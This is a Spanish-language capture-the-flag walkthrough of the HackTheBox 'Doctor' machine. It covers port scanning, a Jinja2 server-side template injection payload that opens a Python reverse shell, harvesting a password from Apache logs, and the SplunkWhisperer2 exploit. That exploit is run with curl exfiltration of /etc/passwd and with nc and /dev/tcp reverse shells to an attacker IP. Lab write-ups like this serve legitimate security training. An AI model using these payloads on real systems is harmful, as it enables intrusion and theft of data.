articulos - b0ySie7e
  • 👋Bienvenido
  • Write up
    • 📕DockerLabs
      • QueueMedic
    • 📕Tryhackme
      • VulnneTroasted
      • Relevant
      • Bufferoverflowprep
      • Eavesdropper
      • Kitty
      • Borderlands
      • Willow
      • Gatekeeper
      • Web Strike Blue Team
      • Splunkps Eclipse
      • Sustah
      • Battery
      • The Server From Hell
      • Biteme
      • Zeno
      • Olymus
      • Mastermind
      • Cyber Crafted
      • Ollie
      • Red
      • Opacity
      • Tony The Tiger
      • B3dr0ck
      • Valley
      • Hacker vs Hacker
      • Flatine
      • Glitch
      • Smag Grotto
      • Ninja Skills
      • Corridor
      • TechSupport
      • Kiba
      • Fowsniff CTF
      • Blueprint
      • Anonymous
      • Bookstore
      • Bounty
      • Cmspit
      • Mustacchio
    • 📕Hackthebox
      • Inject
      • Busqueda
      • Monitors Two
      • PC
      • Topology
      • Wifinetic
      • Pilgrimage
      • Keeper
      • Headless
      • Devvortex
      • Codify
      • Perfection
      • Broker
      • Pov
      • Resolute
      • Monteverde
      • Intelligence
      • StreamIO
      • Scrambled
      • Escape
      • Authority
      • Return
      • Timelapse
      • Support
      • Cap
      • Doctor
      • Validation
      • Twomillion
    • 📕PortSwigger
      • SQL Injection
        • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • Lab: SQL injection vulnerability allowing login bypass
        • Lab: SQL injection attack, querying the database type and version on Oracle
        • Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
        • Lab: SQL injection attack, listing the database contents on non-Oracle databases
        • Lab: SQL injection UNION attack, determining the number of columns returned by the query
        • Lab: SQL injection UNION attack, retrieving data from other tables
        • Lab: SQL injection UNION attack, retrieving multiple values in a single column
        • Lab: Blind SQL injection with conditional responses
        • Lab: Blind SQL injection with conditional errors
        • Lab: Visible error-based SQL injection
        • Lab: Blind SQL injection with time delays
        • Lab: Blind SQL injection with time delays and information retrieval
        • Lab: Blind SQL injection with out-of-band interaction
        • Lab: Blind SQL injection with out-of-band data exfiltration
        • Lab: SQL injection with filter bypass via XML encoding
  • Articulos
    • 🛠️Proyectos
      • 📝Host Port Discovery
    • 🛠️Laboratorio
      • 📝Hacking Wireles
  • Vulnerabilidaes
    • 🖥️Explotacion
      • CVE-2023-38831
Powered by GitBook
On this page
  • Conceptos
  • Nmap
  • Enumeración web
  • User web
  • User shaun
  • user root
  1. Write up
  2. Hackthebox

Doctor

NOMBRE
Plataforma
OS

DOCTOR

HACKTHEBOX

LINUX

Conceptos

  • Nmap

  • Exploit

  • Revershell

  • Dominio

  • SSTI

  • Recursivo

  • Logs

Nmap

Haciendo uso de la herramiento nmap, se escanea los puertos del hosts que se desea atacar

nmap -p- --open --min-rate 5000 -vvv -Pn -oG allportsScan 10.10.10.209
  • Identificando los puuertos abiertos: 22, 80, 8089

Una vez identificado los puetos que estan abiertos, se procede a escanear y identificar los servicio como las versiones que se ejecutan.

nmap -p22,80,8089 -sCV -Pn -vvv -oN servicesScan 10.10.10.209
  • Tenemos los servicios y versiones que ejecutan en dichos puertos

PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzyPiL1j9E6lyOgxqgosQ64mBwocTGo1DpclHHV5w28qPbnBJL32hfDNgUhAeaq7PL8zOQlKWprEnkfBNTUagvcX7deMgPsJ6zow/K+WPqIUU5+LbQQ9TV6YeiWiPrO1W9dwwY0ZTXkkG6905kLDsKtCQZqt0VUGPiyWnZswXwWjbBo9KBF1dctUKv+MuyPLQ2qAr5X9LL21/tWw0fLrIKLkCvdaMI9tVYXeFNZ1WyJSI4BfCB5OrNzpr4RN/CaGSjSiBGn2zkegsk+zJpePSp9qfP/fMwEyDQ1c8kei0g35Neaw5Mob1q3R0L6w8fTAnsYo9bYlnHNOl4Juon0QaOfzDry/c4Hmwi43ypeUlv2zUdgGDUdemG79/nHx/rtLbBvdROI3UIjn6HOweHJs9VmwUjx509xZGoCwRcB0lIrDg9pWitWbg+qMTBvvYrLWgSovjpnilu8OcVituQHoXrrLMFVREY0SzF7K6SqbBO7QTrKODzrf1aH5gdgQNCE18=
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOHMC7+4t7zcs7cPg4JoOZiJF+MiORNU6ky66rLocXDEySgRgkeNf2uzjblvpnn2QYid7TCQUwQ/6Bbz2yFM7jg=
|   256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEF0lJKhEknY94/rK0D2et4K9Tp2E6CsYp0GxwdNJGhs
80/tcp   open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: Doctor
|_http-server-header: Apache/2.4.41 (Ubuntu)
8089/tcp open  ssl/http syn-ack Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/emailAddress=support@splunk.com/localityName=San Francisco
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after:  2023-09-06T15:57:27
| MD5:   db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
| SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhoCCQC3IKogA4zEAzANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV
| UzELMAkGA1UECAw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IFICATE-----
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Splunkd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración web

Puerto 80

Con la ayuda de whatweb enumeramos el sitio web, en donde encontramos un dominio

whatweb http://10.10.10.209

Dominio : doctors.htb

Antes de ingresar al sitio web con el nombre de dominio, debemos poner en nuestra archivo /etc/hosts

Registro

El sitio web nos lleva a un panel de logueo y registro

  • Panel de login

Creamos una cuenta con los siguientes datos:

seven@doctors.htb : seven

Tenemos 20 minutos antes de que eliminen nuestra cuenta registrada

Haciendo uso de wappalyzer identificamos que hace uso de Flask 1.0.1, esto me llevó a probar un Server Side Template Injection(SSTI)

Podemos crear un mensaje el cual es visible, entonces podemos manejar el output y probar un SSTI

Prueba de un posible SSTI

Al ver el codigo fuente de la página, podemos observar una ruta en la web.

<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>--> /archive

Al ingresar la ruta http://doctors.htb/archive y observar el codigo fuente de la página, podemos observar que estamos ante un SSTI y probar a ejecutar comandos.

{{'self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()'}} 

Haciendo uso del siguiente payload se puede obtener una shell interactiva

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Entonces obtendremos una consola interactiva con el usuario web

User web

Lista de logs del sistema

Realizamos una busqueda recursiva en todos los archivos con la palabra pass

web@doctor:/var/log$ grep -r -i "pass" 2>/dev/null
apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

Encontramos una contraseña Guitar123, la cual es la contraseña del usuario ``shaun`

User shaun

Puerto 8089

El tener expuesto la versión puede llevarnos a encontrar alguna vulnerabilidad, este es el caso. Observamos la versión 8.0.5 y si buscamos con searchsploit encontrnamos un exploit para poder explotar el servicio

Exploit Splunk build 8.0.5

>python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username "shaun" --password "Guitar123" --payload "curl -F 'data=@/etc/passwd' http://10.10.14.18:80" --lhost 10.10.14.18

Ejecutando el exploit y poniendo ncat a la escucha en el puerto que indicamos con el exploit, podemos obtener la información del archivo que le indicamos.

Al igual que podemos leer archivos de la computadora víctima tambien podemos ejecutar comandos.

user root

Para obtener una shel, podemos realizarlo ed dos maneras.

  • Manera N° 1

❯ python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username "shaun" --password "Guitar123" --payload 'nc.traditional -e /bin/bash 10.10.14.18 443' --lhost 10.10.14.18
  • Manera N° 2

python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username "shaun" --password "Guitar123" --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.18/443 0>&1'" --lhost 10.10.14.18

Y poniendo a ncat a la escucha en el puerto 443, que puede variar segun le indiques. Terminamos obteniendo una shell como el usario root.

PreviousCapNextValidation

Last updated 1 year ago

Panel de registro

Haciendo uso del siguiente se puede ejecutar comandos

El usuario web pertenece al grupo , este grupo le permite leer y modificarlos logs

Ejecución del exploit.

Ncat.

📕
payload
Payload
adm
https://github.com/cnotin/SplunkWhisperer2
20220902152208.png